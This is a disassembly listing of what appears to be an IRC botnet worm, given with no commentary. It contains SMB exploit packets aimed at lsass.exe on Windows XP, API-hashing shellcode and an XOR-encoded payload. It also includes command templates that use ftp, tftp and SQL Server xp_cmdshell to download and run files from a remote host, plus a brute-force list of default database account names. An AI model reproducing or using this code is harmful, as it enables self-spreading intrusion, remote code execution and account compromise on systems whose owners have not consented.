		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_425B10	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40384C+8Ao
		unicode	0, <C$>,0
a?????_0	db '?????',0
		dd 0
dword_425B74	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_425BE0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425C84	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_425D04	dd offset loc_401495	; DATA XREF: sub_40384C+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_425D98	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_425E04	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_425E78	dd 0			; DATA XREF: sub_40384C+35Fo
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_425F38	dd 1004600h		; DATA XREF: sub_40384C+140r
					; sub_40384C+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4036EB+BEo
					; sub_4051BC+9Do
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_404108+B2o
		align 4
dword_42607C	dd 10FF8h, 0		; DATA XREF: sub_404108+6Ao
dword_426084	dd 10FF8h		; DATA XREF: sub_404108+79o
dword_426088	dd 7FFDF020h, 0		; DATA XREF: sub_404108+162o
dword_426090	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_404532+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426118	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_404532+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_426148	dd 0			; DATA XREF: sub_404532+44o
		dd 800000D4h, 0
unk_426154	db  81h	; 		; DATA XREF: sub_40460C+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_4261A0	db 41h			; DATA XREF: sub_4046AA+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4261E4	proc near		; DATA XREF: .nsp0:00404987o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4262E0
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4262F6
		mov	[esi+8], eax
		call	sub_4262A9
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4262F6
		mov	[esi+0Ch], eax
		call	sub_42625B
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4262F6
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4261E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; CODE XREF: sub_4261E4+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_426284
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_42625B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426284	proc near		; CODE XREF: sub_42625B+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_426293:				; CODE XREF: sub_426284+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4262A0
		inc	ebx
		jmp	short loc_426293
; ---------------------------------------------------------------------------

loc_4262A0:				; CODE XREF: sub_426284+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_426284	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262A9	proc near		; CODE XREF: sub_4261E4+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_4262C1:				; CODE XREF: sub_4262A9+1Ej
		cmp	[ecx], ebx
		jz	short loc_4262C9
		mov	ecx, [ecx]
		jmp	short loc_4262C1
; ---------------------------------------------------------------------------

loc_4262C9:				; CODE XREF: sub_4262A9+1Aj
		mov	edx, edi

loc_4262CB:				; CODE XREF: sub_4262A9+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4262D5
		mov	edx, [edx+4]
		jmp	short loc_4262CB
; ---------------------------------------------------------------------------

loc_4262D5:				; CODE XREF: sub_4262A9+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4262A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262E0	proc near		; CODE XREF: sub_4261E4+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4262E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262F6	proc near		; CODE XREF: sub_4261E4+16p
					; sub_4261E4+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_42630C:				; CODE XREF: sub_4262F6+33j
		jecxz	short loc_426346
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_426319:				; CODE XREF: sub_4262F6+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_426325
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_426319
; ---------------------------------------------------------------------------

loc_426325:				; CODE XREF: sub_4262F6+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_42630C
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_426346:				; CODE XREF: sub_4262F6:loc_42630Cj
					; sub_4262F6:loc_426346j
		jmp	short loc_426346
sub_4262F6	endp

; ---------------------------------------------------------------------------
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_42634C	proc near		; DATA XREF: .nsp0:00404937o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42639E
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_426369:				; CODE XREF: sub_42634C+38j
		jecxz	short loc_426399
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_426374:				; CODE XREF: sub_42634C+32j
		lodsb
		test	al, al
		jz	short loc_426380
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_426374
; ---------------------------------------------------------------------------

loc_426380:				; CODE XREF: sub_42634C+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_426369
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_426399:				; CODE XREF: sub_42634C:loc_426369j
		mov	[esp+arg_0], ebx
		retn
sub_42634C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42639E	proc near		; CODE XREF: sub_42634C+7p

; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4263B7
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4263C2
; ---------------------------------------------------------------------------

loc_4263B7:				; CODE XREF: sub_42639E+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_4263C2:				; CODE XREF: sub_42639E+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4263D6
sub_42639E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4263C9	proc near		; CODE XREF: sub_42639E:loc_4263D6p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4263C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42639E

loc_4263D6:				; CODE XREF: sub_42639E+29j
		call	sub_4263C9

loc_4263DB:				; DATA XREF: sub_4040AD+1Bo
					; sub_40CE55+819o ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42639E
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4263E0	dd 60h			; DATA XREF: sub_404108+320o
dword_4263E4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_404108+2F5o
dword_4263F0	dd 30h			; DATA XREF: sub_404108+2CAo
					; .nsp0:0042C5C8o ...
dword_4263F4	dd 0A1h			; DATA XREF: sub_404108+29Fo
dword_4263F8	dd 3			; DATA XREF: sub_404108+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_404108+153o
		align 4

loc_426404:				; DATA XREF: sub_404108+E8o
		jmp	short near ptr dword_42640C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_42640C	dd 0			; CODE XREF: .nsp0:loc_426404j
dword_426410	dd 2F2F7325h, 2E732520h, 0 ; DATA XREF:	.nsp0:00404AD5o
aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .nsp0:0040495Co
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+1ACo
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_404F08+178o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_404F08+E4o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: sub_404F08+47o
					; .nsp0:0042C328o
		align 4
aAdministrater	db 'administrater',0    ; DATA XREF: sub_404F08+40o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: sub_404F08+39o
					; .nsp0:0042C31Co
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: sub_404F08+32o
					; .nsp0:0042C318o ...
		align 4
aAdmin		db 'admin',0            ; DATA XREF: sub_404F08+2Bo
					; .nsp0:0042C32Co
		align 10h
aRoot		db 'root',0             ; DATA XREF: sub_404F08+24o
					; .nsp0:0042C334o ...
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_404F08+19o
		align 4
dword_4265BC	dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
					; DATA XREF: .nsp0:00405393o
		db 1Ah
; ---------------------------------------------------------------------------

loc_4265CD:				; CODE XREF: .nsp0:004265D4j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_4265CD
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h
word_426710	dw 7A69h		; DATA XREF: sub_4051BC+30r
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405409+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_405409+5B9o
					; sub_40CE55+534o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_405409+5ACo
		align 4
dword_42675C	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_405409+561o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405409+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_405409+516o
		align 10h
aRetr		db 'RETR',0             ; DATA XREF: sub_405409+4FEo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405409+4E9o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_405409+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_405409+4A5o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405409+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_405409+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405409+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_405409+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_405409+3AFo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_405409+39Co
		align 10h
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405409+38Co
aI:					; DATA XREF: sub_405409+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405409+351o
aA:					; DATA XREF: sub_405409+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_405409+326o
					; sub_405409+361o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405409+316o
		align 4
off_426918	dd offset dword_445750	; DATA XREF: sub_405409+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405409+2F2o
		align 10h
aRest		db 'REST',0             ; DATA XREF: sub_405409+2DEo
		align 4
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405409+2CEo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_405409+2BAo
		align 10h
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405409+2AAo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_405409+296o
		align 10h
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_405409+286o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_405409+271o
					; .nsp0:0042C364o ...
		align 10h
aSS		db '%s %s',0            ; DATA XREF: sub_405409+260o
		align 4
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405409+1D8o
		align 10h
aRb		db 'rb',0               ; DATA XREF: sub_405A89+24o
					; sub_406C3E+12Eo ...
		align 4
unk_4269B4	db    2			; DATA XREF: sub_405B23+3F8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_4269FC	db 0Dh,0Ah,0		; DATA XREF: sub_405B23+2CFo
		align 10h
asc_426A00:				; DATA XREF: sub_405B23+293o
					; sub_40CE55+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405B23+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F7E+97o
					; sub_40AAD1+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F7E+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F7E:loc_405FE3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F7E+5Eo
		align 10h
unk_426C20	db    2			; DATA XREF: sub_406100+28Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_426C6C	db    2			; DATA XREF: sub_406100+20Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_426CB0:				; DATA XREF: sub_406100+157o
					; .nsp0:0042E00Co
		unicode	0, <*>,0
asc_426CB4:				; DATA XREF: sub_406100+FBo
					; sub_4063B0+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_406100+EAo
					; sub_4063B0+4CAo ...
		align 10h
aS_1		db '%s',0               ; DATA XREF: sub_406100+3Ao
					; sub_40A621+4Co ...
		align 4
aS_2		db '\%s',0              ; DATA XREF: sub_406100+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4063B0+64Eo
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4063B0+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4063B0+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_4068C8o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4063B0+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4063B0+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4063B0+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_406772o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4063B0+3BBo
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_4063B0+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+330o
					; sub_4063B0+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4063B0+30Eo
		align 10h
aS_0		db '<%s>',0             ; DATA XREF: sub_4063B0+2E4o
					; sub_4063B0+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4063B0+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_4063B0+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_4063B0+285o
		align 10h
a__0:					; DATA XREF: sub_4063B0+24Do
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_4063B0+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4063B0+ADo
